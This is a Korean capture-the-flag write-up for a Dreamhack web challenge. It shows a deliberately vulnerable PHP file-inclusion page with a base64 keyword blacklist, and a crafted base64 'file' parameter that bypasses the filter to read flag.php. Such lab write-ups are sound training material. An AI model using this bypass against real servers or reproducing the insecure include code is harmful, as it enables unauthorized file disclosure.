[Dreamhack] Base64 based
https://dreamhack.io/wargame/challenges/1785
Base64 based
Description Read flag.php to get the flag.
dreamhack.io
플래그를 알기 위해선 모종의 방법으로 flag.php 파일을 읽어와야 하는 문제
일단 웹 사이트에 들어가보면
이런 메인화면 말고는 다른 특별한 건 없어보인다.
코드를 살펴보도록 하자.
code
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Loader</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
max-width: 600px;
width: 100%;
}
h1 {
color: #333;
}
p {
color: #555;
}
.error {
color: red;
}
</style>
</head>
<body>
<div class="container">
<h1>File Content Viewer</h1>
<?php
define('ALLOW_INCLUDE', true); // ALLOW_INCLUDE를 true로 정의
// 이 파일을 include할 때 ALLOW_INCLUDE가 정의되어 있으면 flag.php를 include할 수 있음
if (isset($_GET['file'])) { // file이 존재할 경우
$encodedFileName = $_GET['file']; // encodedFileName에 file을 넣어줌
if (stripos($encodedFileName, "Li4v") !== false){ // encodedFileName에 Li4v가 포함되어 있으면 -> Li4v는 디코딩하면 ../
echo "<p class='error'>Error: Not allowed ../.</p>";
exit(0);
}
if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){ // 디코딩해서 조합하면 flag.php임
echo "<p class='error'>Error: Not allowed flag.</p>"; // encodedFileName에 ZmxhZ나 aHA=가 포함되어 있으면
exit(0);
}
$decodedFileName = base64_decode($encodedFileName); // encodedFileName을 base64로 디코딩하여 decodedFileName에 넣어줌
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName; // filePath에 decodedFileName을 넣어줌
// 저장 위치 : /var/www/html/decodedFileName (decodedFileName은 base64로 디코딩된 파일명)
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) { // 파일이 존재할 경우
echo "<p>Including file: <strong>$decodedFileName</strong></p>"; // decodedFileName을 출력
echo "<div>";
require_once($decodedFileName);
echo "</div>";
} else {
echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}
} else {
echo "<p class='error'>No file parameter provided.</p>";
}
?>
</div>
</body>
</html>
flag.php
<?php
if (!defined('ALLOW_INCLUDE')) { // ALLOW_INCLUDE가 정의되어 있지 않으면
http_response_code(403); // 에러 반환
exit('Direct access is not allowed.');
} else {
$file = file_get_contents('/flag'); // 정의되어 있다면 플래그 파일을 읽어옴
echo trim($file);
}
?>
위의 코드들을 분석해보자면 우선 파일이 현재 서버에 있을 경우 ALLOW_INCLUDE 상수가 true로 정의되고 플래그를 읽어오게 된다.
그러나 index.php 코드를 보면 기본적으로 file 쿼리 변수로 받는 값을 base64 인코딩 된 값으로 받고, 디코딩해서 현재 서버에 파일이 존재하는지 확인하고 상수를 true / false 처리하는데 ../, flag의 base64 인코딩 된 값인 Li4v, Zmxhz, aHA= 를 필터링처리하고 있다.
이러한 필터링을 우회해서 ?file 쿼리 변수에 flag의 base64 인코딩 된 값을 넣을 수 있다면 플래그 파일을 읽어올 수 있을듯하다.
Exploit
서버 디렉토리를 보면
현재 동일한 디렉토리에 flag.php 파일이 존재하는 것을 확인할 수 있다.
만약 ./flag.php 로 상대경로를 입력하더라도, 동일한 디렉토리에 파일이 위치하기 때문에 flag.php 파일이 불러와 질 것이라고 예상해 볼 수 있을 듯 하다.
echo -n "./flag.php" | base64
./flag.php를 base64 인코딩한 값인 Li9mbGFnLnBocA== 를 file 쿼리 변수에 넣어보도록 하자.
http://host1.dreamhack.games:14860/index.php?file=Li9mbGFnLnBocA==
플래그 출력